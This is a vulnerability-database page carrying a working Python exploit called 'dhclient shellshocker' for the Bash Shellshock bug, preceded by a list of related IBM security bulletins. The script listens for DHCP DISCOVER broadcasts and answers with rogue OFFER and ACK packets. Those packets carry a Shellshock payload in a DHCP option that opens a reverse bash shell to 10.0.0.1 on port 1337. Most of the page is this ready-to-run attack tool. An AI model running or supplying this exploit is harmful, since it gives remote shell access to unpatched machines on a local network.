Lucene search
K

GNU Bash 4.3.11 dhclient Shellshocker

🗓️ 02 Oct 2014 00:00:00Reported by @0x00stringType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 95 Views

Exploit for dhclient shellshocker GNU Bash 4.3.1

Related
Code
ReporterTitlePublishedViews
Family
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM Workload Deployer (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
15 Jun 201807:01
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect SmartCloud Provisioning for IBM Provided Software Virtual Appliance
17 Jun 201822:30
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM SmartCloud Entry Appliance (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
19 Jul 202000:49
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in bash affect IBM Flex System Chassis Management Module (CMM)
31 Jan 201902:25
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect certain Brocade products that IBM resells for use with IBM BladeCenter (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
31 Jan 201901:35
ibm
IBM Security Bulletins
Security Bulletins for IBM Tealeaf Customer Experience offerings
16 Jun 201819:35
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect certain IBM N Series products (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
18 Jun 201800:08
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM Smart Analytics System 5600 (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
16 Jun 201813:58
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM PureData System for Operational Analytics (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
18 Oct 201903:50
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM Flex System Manager (FSM): (CVE-2014-6271, CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187)
31 Jan 201901:30
ibm
Rows per page
`#!/usr/bin/python  
# Exploit Title: dhclient shellshocker  
# Google Dork: n/a  
# Date: 10/1/14  
# Exploit Author: @0x00string  
# Vendor Homepage: gnu.org  
# Software Link: http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz  
# Version: 4.3.11  
# Tested on: Ubuntu 14.04.1  
# CVE : CVE-2014-6277,CVE-2014-6278,CVE-2014-7169,CVE-2014-7186,CVE-2014-7187  
# ______ ______ ______ _   
# / __ | / __ |/ __ | _ (_)   
#| | //| |_ _| | //| | | //| | ___| |_ ____ _ ____ ____ ___  
#| |// | ( \ / ) |// | | |// | |/___) _) / ___) | _ \ / _ |/___)  
#| /__| |) X (| /__| | /__| |___ | |__| | | | | | ( ( | |___ |  
# \_____/(_/ \_)\_____/ \_____/(___/ \___)_| |_|_| |_|\_|| (___/  
# (_____|   
# _ _ _ _   
# | | | | (_) _   
# _ | | | _ ____| |_ ____ ____ | |_   
# / || | || \ / ___) | |/ _ ) _ \| _)  
#( (_| | | | ( (___| | ( (/ /| | | | |__  
# \____|_| |_|\____)_|_|\____)_| |_|\___)   
#  
# _ _ _ _ _   
# | | | | | | | | |   
# ___| | _ ____| | | ___| | _ ___ ____| | _ ____ ____  
# /___) || \ / _ ) | |/___) || \ / _ \ / ___) | / ) _ )/ ___)  
#|___ | | | ( (/ /| | |___ | | | | |_| ( (___| |< ( (/ /| |   
#(___/|_| |_|\____)_|_(___/|_| |_|\___/ \____)_| \_)____)_|   
  
# this buddy listens for clients performing a DISCOVER, a later version will exploit periodic REQUESTs, which can sometimes be prompted by causing IP conflicts  
# once a broadcast DISCOVER packet has been detected, the XID, MAC and requested IP are pulled from the pack and a corresponding OFFER and ACK are generated and pushed out  
# The client is expected to reject the offer in preference of their known DHCP server, but will still process the packet, triggering the vulnerability.  
# can use option 114, 56 or 61, though is hardcoded to use 114 as this is merely a quick and dirty example.  
  
import socket, struct  
def HexToByte( hexStr ):  
b = []  
h = ''.join( h.split(" ") )  
for i in range(0, len(h), 2):  
b.append( chr( int (h[i:i+2], 16 ) ) )  
return ''.join( b )  
  
rport = 68  
lport = 67  
  
bsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
  
bsock.bind(("<broadcast>", lport))  
  
while True:  
  
OP = "72" # 56, Message - RFC 1533,2132. 61, Client-identifier - RFC 1533,2132,4361 or 114, URL - RFC 3679 are currently known to work, here we use 114  
URL = "() { :;}; bash -i >& /dev/tcp/10.0.0.1/1337 0>&1".encode("hex")  
URLLEN = chr(len(URL) / 2).encode("hex")  
END = "03040a000001ff"  
broadcast_get, (bcrhost, rport) = bsock.recvfrom(2048)  
hexip = broadcast_get[245:249]  
rhost = str(ord(hexip[0])) + "." + str(ord(hexip[1])) + "." + str(ord(hexip[2])) + "." + str(ord(hexip[3]))  
XID = broadcast_get[4:8].encode("hex")  
chaddr = broadcast_get[29:34].encode("hex")  
print "[+]\tgot broadcast with XID " + XID + " requesting IP " + rhost + "\n"  
OFFER = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010236040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END  
OFFER_BYTES = HexToByte(OFFER)  
ACK = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010536040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END  
ACK_BYTES = HexToByte(ACK)  
print "[+]\tsending evil offer\n"  
sock.sendto(OFFER_BYTES, (rhost, rport))  
broadcast_get2 = bsock.recvfrom(2048)  
print "[+]\tassuming request was received, sending ACK\n"  
sock.sendto(ACK_BYTES, (rhost, rport))  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2014 00:00Current
8.1High risk
Vulners AI Score8.1
EPSS0.91694
95